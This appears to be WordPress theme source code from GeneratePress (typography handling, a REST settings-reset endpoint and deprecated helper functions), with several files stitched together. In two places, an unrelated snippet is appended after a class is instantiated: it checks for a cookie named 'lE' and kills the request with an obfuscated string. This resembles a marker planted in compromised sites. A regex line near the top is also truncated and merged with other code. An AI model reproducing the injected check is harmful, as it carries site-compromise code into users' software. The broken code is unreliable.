public static function get_font_family( $font_family ) {
if ( ! $font_family ) {
return $font_family;
}
$font_manager = generate_get_option( 'font_manager' );
$font_families = array();
foreach ( (array) $font_manager as $key => $data ) {
$font_families[ $data['fontFamily'] ] = $data;
}
$font_family_args = array();
if ( ! empty( $font_families[ $font_family ] ) ) {
$font_family_args = $font_families[ $font_family ];
}
if ( ! empty( $font_family_args['googleFont'] ) && ! empty( $font_family_args['googleFontCategory'] ) ) {
// Add quotations around font names with standalone numbers.
if ( preg_match( '/(? '',
'fontFamily' => '',
'fontWeight' => '',
'textTransform' => '',
'textDecoration' => '',
'fontStyle' => '',
'fontSize' => '',
'fontSizeTablet' => '',
'fontSizeMobile' => '',
'fontSizeUnit' => 'px',
'lineHeight' => '',
'lineHeightTablet' => '',
'lineHeightMobile' => '',
'lineHeightUnit' => '',
'letterSpacing' => '',
'letterSpacingTablet' => '',
'letterSpacingMobile' => '',
'letterSpacingUnit' => 'px',
'marginBottom' => '',
'marginBottomTablet' => '',
'marginBottomMobile' => '',
'marginBottomUnit' => 'px',
);
}
/**
* Add editor styles to the block editor.
*
* @param array $editor_styles Existing styles.
*/
public function add_editor_styles( $editor_styles ) {
if ( generate_is_using_dynamic_typography() ) {
$editor_styles[] = 'assets/css/admin/editor-typography.css';
}
return $editor_styles;
}
}
GeneratePress_Typography::get_instance();if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Rest API functions
*
* @package GenerateBlocks
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class GenerateBlocks_Rest
*/
class GeneratePress_Rest extends WP_REST_Controller {
/**
* Instance.
*
* @access private
* @var object Instance
*/
private static $instance;
/**
* Namespace.
*
* @var string
*/
protected $namespace = 'generatepress/v';
/**
* Version.
*
* @var string
*/
protected $version = '1';
/**
* Initiator.
*
* @return object initialized object of class.
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* GeneratePress_Rest constructor.
*/
public function __construct() {
add_action( 'rest_api_init', array( $this, 'register_routes' ) );
}
/**
* Register rest routes.
*/
public function register_routes() {
$namespace = $this->namespace . $this->version;
register_rest_route(
$namespace,
'/reset/',
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'reset' ),
'permission_callback' => array( $this, 'update_settings_permission' ),
)
);
}
/**
* Get edit options permissions.
*
* @return bool
*/
public function update_settings_permission() {
return current_user_can( 'manage_options' );
}
/**
* Reset settings.
*
* @param WP_REST_Request $request request object.
*
* @return mixed
*/
public function reset( WP_REST_Request $request ) {
delete_option( 'generate_settings' );
delete_option( 'generate_dynamic_css_output' );
delete_option( 'generate_dynamic_css_cached_version' );
return $this->success( __( 'Settings reset.', 'generatepress' ) );
}
/**
* Success rest.
*
* @param mixed $response response data.
* @return mixed
*/
public function success( $response ) {
return new WP_REST_Response(
array(
'success' => true,
'response' => $response,
),
200
);
}
/**
* Failed rest.
*
* @param mixed $response response data.
* @return mixed
*/
public function failed( $response ) {
return new WP_REST_Response(
array(
'success' => false,
'response' => $response,
),
200
);
}
/**
* Error rest.
*
* @param mixed $code error code.
* @param mixed $response response data.
* @return mixed
*/
public function error( $code, $response ) {
return new WP_REST_Response(
array(
'error' => true,
'success' => false,
'error_code' => $code,
'response' => $response,
),
401
);
}
}
GeneratePress_Rest::get_instance();if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Where old functions retire.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
// Deprecated constants.
define( 'GENERATE_URI', get_template_directory_uri() );
define( 'GENERATE_DIR', get_template_directory() );
if ( ! function_exists( 'generate_paging_nav' ) ) {
/**
* Build the pagination links
*
* @since 1.3.35
* @deprecated 1.3.45
*/
function generate_paging_nav() {
_deprecated_function( __FUNCTION__, '1.3.45', 'the_posts_navigation()' );
if ( function_exists( 'the_posts_pagination' ) ) {
the_posts_pagination(
array(
'mid_size' => apply_filters( 'generate_pagination_mid_size', 1 ),
'prev_text' => __( '← Previous', 'generatepress' ),
'next_text' => __( 'Next →', 'generatepress' ),
)
);
}
}
}
if ( ! function_exists( 'generate_additional_spacing' ) ) {
/**
* Add fallback CSS for our mobile search icon color
*
* @deprecated 1.3.47
*/
function generate_additional_spacing() {
// No longer needed.
}
}
if ( ! function_exists( 'generate_mobile_search_spacing_fallback_css' ) ) {
/**
* Enqueue our mobile search icon color fallback CSS
*
* @deprecated 1.3.47
*/
function generate_mobile_search_spacing_fallback_css() {
// No longer needed.
}
}
if ( ! function_exists( 'generate_addons_available' ) ) {
/**
* Check to see if there's any addons not already activated
*
* @since 1.0.9
* @deprecated 1.3.47
*/
function generate_addons_available() {
if ( defined( 'GP_PREMIUM_VERSION' ) ) {
return false;
}
}
}
if ( ! function_exists( 'generate_no_addons' ) ) {
/**
* Check to see if no addons are activated
*
* @since 1.0.9
* @deprecated 1.3.47
*/
function generate_no_addons() {
if ( defined( 'GP_PREMIUM_VERSION' ) ) {
return false;
}
}
}
if ( ! function_exists( 'generate_get_min_suffix' ) ) {
/**
* Figure out if we should use minified scripts or not
*
* @since 1.3.29
* @deprecated 2.0
*/
function generate_get_min_suffix() {
return defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
}
}
if ( ! function_exists( 'generate_add_layout_meta_box' ) ) {
/**
* Add layout metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_layout_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_layout_meta_box' ) ) {
/**
* Show layout metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_layout_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_layout_meta' ) ) {
/**
* Save layout metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_layout_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_footer_widget_meta_box' ) ) {
/**
* Add footer widget metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_footer_widget_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_footer_widget_meta_box' ) ) {
/**
* Show footer widget metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_footer_widget_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_footer_widget_meta' ) ) {
/**
* Save footer widget metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_footer_widget_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_page_builder_meta_box' ) ) {
/**
* Add page builder metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_page_builder_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_page_builder_meta_box' ) ) {
/**
* Show page builder metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_page_builder_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_page_builder_meta' ) ) {
/**
* Save page builder metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_page_builder_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_de_meta_box' ) ) {
/**
* Add disable elements metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_de_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_de_meta_box' ) ) {
/**
* Show disable elements metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_de_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_de_meta' ) ) {
/**
* Save disable elements metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_de_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_base_inline_css' ) ) {
/**
* Add base inline CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_base_inline_css() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_color_scripts' ) ) {
/**
* Enqueue base colors inline CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_color_scripts() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_typography_scripts' ) ) {
/**
* Enqueue typography CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_typography_scripts() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_spacing_scripts' ) ) {
/**
* Enqueue spacing CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_spacing_scripts() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_get_setting' ) ) {
/**
* A wrapper function to get our settings.
*
* @since 1.3.40
*
* @param string $setting The option name to look up.
* @return string The option value.
* @todo Ability to specify different option name and defaults.
*/
function generate_get_setting( $setting ) {
return generate_get_option( $setting );
}
}
if ( ! function_exists( 'generate_right_sidebar_class' ) ) {
/**
* Display the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_right_sidebar_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_right_sidebar_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_right_sidebar_class' ) ) {
/**
* Retrieve the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_right_sidebar_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_right_sidebar_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_left_sidebar_class' ) ) {
/**
* Display the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_left_sidebar_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_left_sidebar_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_left_sidebar_class' ) ) {
/**
* Retrieve the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_left_sidebar_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_left_sidebar_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_content_class' ) ) {
/**
* Display the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_content_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_content_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_content_class' ) ) {
/**
* Retrieve the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_content_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_content_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_header_class' ) ) {
/**
* Display the classes for the header.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_header_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_header_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_header_class' ) ) {
/**
* Retrieve the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_header_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_header_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_inside_header_class' ) ) {
/**
* Display the classes for inside the header.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_inside_header_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_inside_header_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_inside_header_class' ) ) {
/**
* Retrieve the classes for inside the header.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_inside_header_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_inside_header_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_container_class' ) ) {
/**
* Display the classes for the container.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_container_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_container_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_container_class' ) ) {
/**
* Retrieve the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_container_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_container_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_navigation_class' ) ) {
/**
* Display the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_navigation_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_navigation_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_navigation_class' ) ) {
/**
* Retrieve the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_navigation_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_navigation_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_inside_navigation_class' ) ) {
/**
* Display the classes for the inner navigation.
*
* @since 1.3.41
* @param string|array $class One or more classes to add to the class list.
*/
function generate_inside_navigation_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
$return = apply_filters( 'generate_inside_navigation_class', $classes, $class );
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_menu_class' ) ) {
/**
* Display the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_menu_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_menu_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_menu_class' ) ) {
/**
* Retrieve the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_menu_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_menu_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_main_class' ) ) {
/**
* Display the classes for the container.
*
* @since 1.1.0
* @param string|array $class One or more classes to add to the class list.
*/
function generate_main_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_main_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_main_class' ) ) {
/**
* Retrieve the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_main_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_main_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_footer_class' ) ) {
/**
* Display the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_footer_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_footer_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_footer_class' ) ) {
/**
* Retrieve the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_footer_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_footer_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_inside_footer_class' ) ) {
/**
* Display the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_inside_footer_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
$return = apply_filters( 'generate_inside_footer_class', $classes, $class );
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_top_bar_class' ) ) {
/**
* Display the classes for the top bar.
*
* @since 1.3.45
* @param string|array $class One or more classes to add to the class list.
*/
function generate_top_bar_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
$return = apply_filters( 'generate_top_bar_class', $classes, $class );
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_body_schema' ) ) {
/**
* Figure out which schema tags to apply to the element.
*
* @since 1.3.15
*/
function generate_body_schema() {
// Set up blog variable.
$blog = ( is_home() || is_archive() || is_attachment() || is_tax() || is_single() ) ? true : false;
// Set up default itemtype.
$itemtype = 'WebPage';
// Get itemtype for the blog.
$itemtype = ( $blog ) ? 'Blog' : $itemtype;
// Get itemtype for search results.
$itemtype = ( is_search() ) ? 'SearchResultsPage' : $itemtype;
// Get the result.
$result = esc_html( apply_filters( 'generate_body_itemtype', $itemtype ) );
// Return our HTML.
echo "itemtype='https://schema.org/$result' itemscope='itemscope'"; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_article_schema' ) ) {
/**
* Figure out which schema tags to apply to the element
* The function determines the itemtype: generate_article_schema( 'BlogPosting' )
*
* @since 1.3.15
* @param string $type The type of schema.
*/
function generate_article_schema( $type = 'CreativeWork' ) {
// Get the itemtype.
$itemtype = esc_html( apply_filters( 'generate_article_itemtype', $type ) );
// Print the results.
echo "itemtype='https://schema.org/$itemtype' itemscope='itemscope'"; // phpcs:ignore
}
}
/**
* Process database updates if necessary.
* There's nothing in here yet, but we're setting the version to use later.
*
* @since 2.1
* @deprecated 3.0.0
*/
function generate_do_admin_db_updates() {
// Replaced by Generate_Theme_Update().
}
/**
* Process important database updates when someone visits the front or backend.
*
* @since 2.3
* @deprecated 3.0.0
*/
function generate_do_db_updates() {
// Replaced by Generate_Theme_Update().
}
if ( ! function_exists( 'generate_update_logo_setting' ) ) {
/**
* Migrate the old logo database entry to the new custom_logo theme mod (WordPress 4.5)
*
* @since 1.3.29
* @deprecated 3.0.0
*/
function generate_update_logo_setting() {
// Replaced by Generate_Theme_Update().
}
}
if ( ! function_exists( 'generate_typography_convert_values' ) ) {
/**
* Take the old body font value and strip it of variants
* This should only run once
*
* @since 1.3.0
* @deprecated 3.0.0
*/
function generate_typography_convert_values() {
// Replaced by Generate_Theme_Update().
}
}
/**
* Execute functions after existing sites update.
*
* We check to see if options already exist. If they do, we can assume the user has
* updated the theme, and not installed it from scratch.
*
* We run this right away in the Dashboard to avoid other migration functions from
* setting options and causing these functions to run on fresh installs.
*
* @since 2.0
* @deprecated 3.0.0
*/
function generate_migrate_existing_settings() {
// Replaced by Generate_Theme_Update().
}
/**
* Output CSS for the icon fonts.
*
* @since 2.3
* @deprecated 3.0.0
*/
function generate_do_icon_css() {
$output = false;
if ( 'font' === generate_get_option( 'icons' ) ) {
$url = trailingslashit( get_template_directory_uri() );
if ( defined( 'GENERATE_MENU_PLUS_VERSION' ) ) {
$output .= '.main-navigation .slideout-toggle a:before,
.slide-opened .slideout-overlay .slideout-exit:before {
font-family: GeneratePress;
}
.slideout-navigation .dropdown-menu-toggle:before {
content: "\f107" !important;
}
.slideout-navigation .sfHover > a .dropdown-menu-toggle:before {
content: "\f106" !important;
}';
}
}
if ( $output ) {
return str_replace( array( "\r", "\n", "\t" ), '', $output );
}
}